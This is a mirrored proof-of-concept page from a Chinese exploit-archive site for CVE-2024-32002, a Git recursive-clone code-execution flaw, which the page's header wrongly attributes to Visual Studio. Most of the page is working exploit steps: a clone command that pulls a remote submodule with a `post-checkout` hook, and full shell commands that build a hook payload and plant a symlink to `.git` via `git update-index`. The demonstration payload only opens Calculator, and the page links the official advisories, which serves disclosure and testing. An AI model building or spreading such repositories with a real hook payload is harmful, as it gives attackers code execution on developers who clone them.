POC详情: a60d3cc3338e9b37a5f74495c25866e2656e96db

来源
关联漏洞
标题: Microsoft Visual Studio 安全漏洞 (CVE-2024-32002)
描述:Microsoft Visual Studio是美国微软(Microsoft)公司的一款开发工具套件系列产品,也是一个基本完整的开发工具集,它包括了整个软件生命周期中所需要的大部分工具。 Microsoft Visual Studio存在安全漏洞的相关信息,请随时关注CNNVD或厂商公告。
介绍
# CVE-2024-32002
A simple proof-of-concept that executes Calculator (macOS example only). When using `git clone --recursive` command, this repo will also pull https://github.com/markuta/hooky, which contains a `post-checkout` script. Mostly based on the commit fix [t7406-submodule-update.sh](https://github.com/git/git/blob/97065761333fd62db1912d81b489db938d8c991d/t/t7406-submodule-update.sh#L1182) file.

## Run
> **Note**: Versions prior to `2.45.1`, `2.44.1`, `2.43.4`, `2.42.2`, `2.41.1`, `2.40.2`, and `2.39.4` are vulnerable.
```
git clone --recursive github.com/markuta/CVE-2024-32002
```

## Create your own repositories
```
# Submodule repo (payload)
git init hooky
cd hooky
mkdir -p y/hooks 
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"

# Main repo
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink
```

## Further info
More info about the vulnerability can be found [here](https://github.blog/2024-05-14-securing-git-addressing-5-new-vulnerabilities/) and [here](https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv).
文件快照

[4.0K] /data/pocs/a60d3cc3338e9b37a5f74495c25866e2656e96db ├── [ 4] a -> .git ├── [4.0K] A │   └── [4.0K] modules │   └── [4.0K] x └── [1.4K] README.md 4 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。